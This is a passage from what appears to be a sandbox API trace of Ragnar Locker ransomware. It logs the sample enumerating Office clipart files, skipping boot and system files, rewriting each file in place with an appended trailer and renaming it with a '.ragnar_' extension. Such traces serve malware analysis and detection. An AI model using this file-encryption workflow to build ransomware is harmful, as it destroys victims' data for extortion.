Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" [0082.611] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ragnar_FD7BD9FC" [0082.611] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.611] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90080a00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90080a00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x1746, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01461_.WMF", cAlternateFileName="")) returned 1 [0082.611] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.612] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01461_.WMF" | out: lpString1="HH01461_.WMF") returned="HH01461_.WMF" [0082.612] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned=".WMF" [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="autorun.inf") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="boot.ini") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="bootfont.bin") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="bootsect.bak") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="bootmgr") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="bootmgr.efi") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="desktop.ini") returned 1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="iconcache.db") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="ntldr") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="ntuser.dat") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="ntuser.ini") returned -1 [0082.612] lstrcmpiW (lpString1="HH01461_.WMF", lpString2="thumbs.db") returned -1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.612] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0082.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.613] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5958) returned 1 [0082.613] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x173d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.613] GetProcessHeap () returned 0x580000 [0082.613] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.613] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.614] VirtualAlloc (lpAddress=0x0, dwSize=0x1746, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.614] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.614] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1746, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1746, lpOverlapped=0x0) returned 1 [0082.615] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.615] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1746, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.615] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1746, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1746, lpOverlapped=0x0) returned 1 [0082.615] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1746, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.616] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.616] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1746, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.616] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.616] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.616] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.616] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.616] GetProcessHeap () returned 0x580000 [0082.616] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.616] CloseHandle (hObject=0xf4) returned 1 [0082.616] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" [0082.616] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ragnar_FD7BD9FC" [0082.616] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.617] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c80, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01618_.WMF", cAlternateFileName="")) returned 1 [0082.617] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.617] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01618_.WMF" | out: lpString1="HH01618_.WMF") returned="HH01618_.WMF" [0082.617] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned=".WMF" [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="autorun.inf") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="boot.ini") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="bootfont.bin") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="bootsect.bak") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="bootmgr") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="bootmgr.efi") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="desktop.ini") returned 1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="iconcache.db") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="ntldr") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="ntuser.dat") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="ntuser.ini") returned -1 [0082.617] lstrcmpiW (lpString1="HH01618_.WMF", lpString2="thumbs.db") returned -1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.617] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0082.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.618] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7296) returned 1 [0082.618] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.618] GetProcessHeap () returned 0x580000 [0082.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.618] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.619] VirtualAlloc (lpAddress=0x0, dwSize=0x1c80, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.620] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1c80, lpOverlapped=0x0) returned 1 [0082.620] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.621] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c80, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.621] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1c80, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1c80, lpOverlapped=0x0) returned 1 [0082.621] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c80, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.621] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.621] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1c80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.621] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.621] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.621] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.621] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.621] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.621] GetProcessHeap () returned 0x580000 [0082.621] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.621] CloseHandle (hObject=0xf4) returned 1 [0082.621] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" [0082.622] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ragnar_FD7BD9FC" [0082.622] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.622] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83101700, ftCreationTime.dwHighDateTime=0x1bd4bdc, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83101700, ftLastWriteTime.dwHighDateTime=0x1bd4bdc, nFileSizeHigh=0x0, nFileSizeLow=0x1526, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01759_.WMF", cAlternateFileName="")) returned 1 [0082.622] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.622] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01759_.WMF" | out: lpString1="HH01759_.WMF") returned="HH01759_.WMF" [0082.622] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned=".WMF" [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="autorun.inf") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="boot.ini") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="bootfont.bin") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="bootsect.bak") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="bootmgr") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="bootmgr.efi") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="desktop.ini") returned 1 [0082.622] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="iconcache.db") returned -1 [0082.623] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="ntldr") returned -1 [0082.623] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="ntuser.dat") returned -1 [0082.623] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.623] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="ntuser.ini") returned -1 [0082.623] lstrcmpiW (lpString1="HH01759_.WMF", lpString2="thumbs.db") returned -1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.623] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0082.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.624] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5414) returned 1 [0082.624] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x151d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.624] GetProcessHeap () returned 0x580000 [0082.624] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.624] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.626] VirtualAlloc (lpAddress=0x0, dwSize=0x1526, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.626] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.626] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1526, lpOverlapped=0x0) returned 1 [0082.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1526, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.627] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1526, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1526, lpOverlapped=0x0) returned 1 [0082.627] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1526, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.627] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1526, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.627] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.627] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.627] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.627] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.628] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.628] GetProcessHeap () returned 0x580000 [0082.628] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.628] CloseHandle (hObject=0xf4) returned 1 [0082.628] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" [0082.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.ragnar_FD7BD9FC" [0082.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), 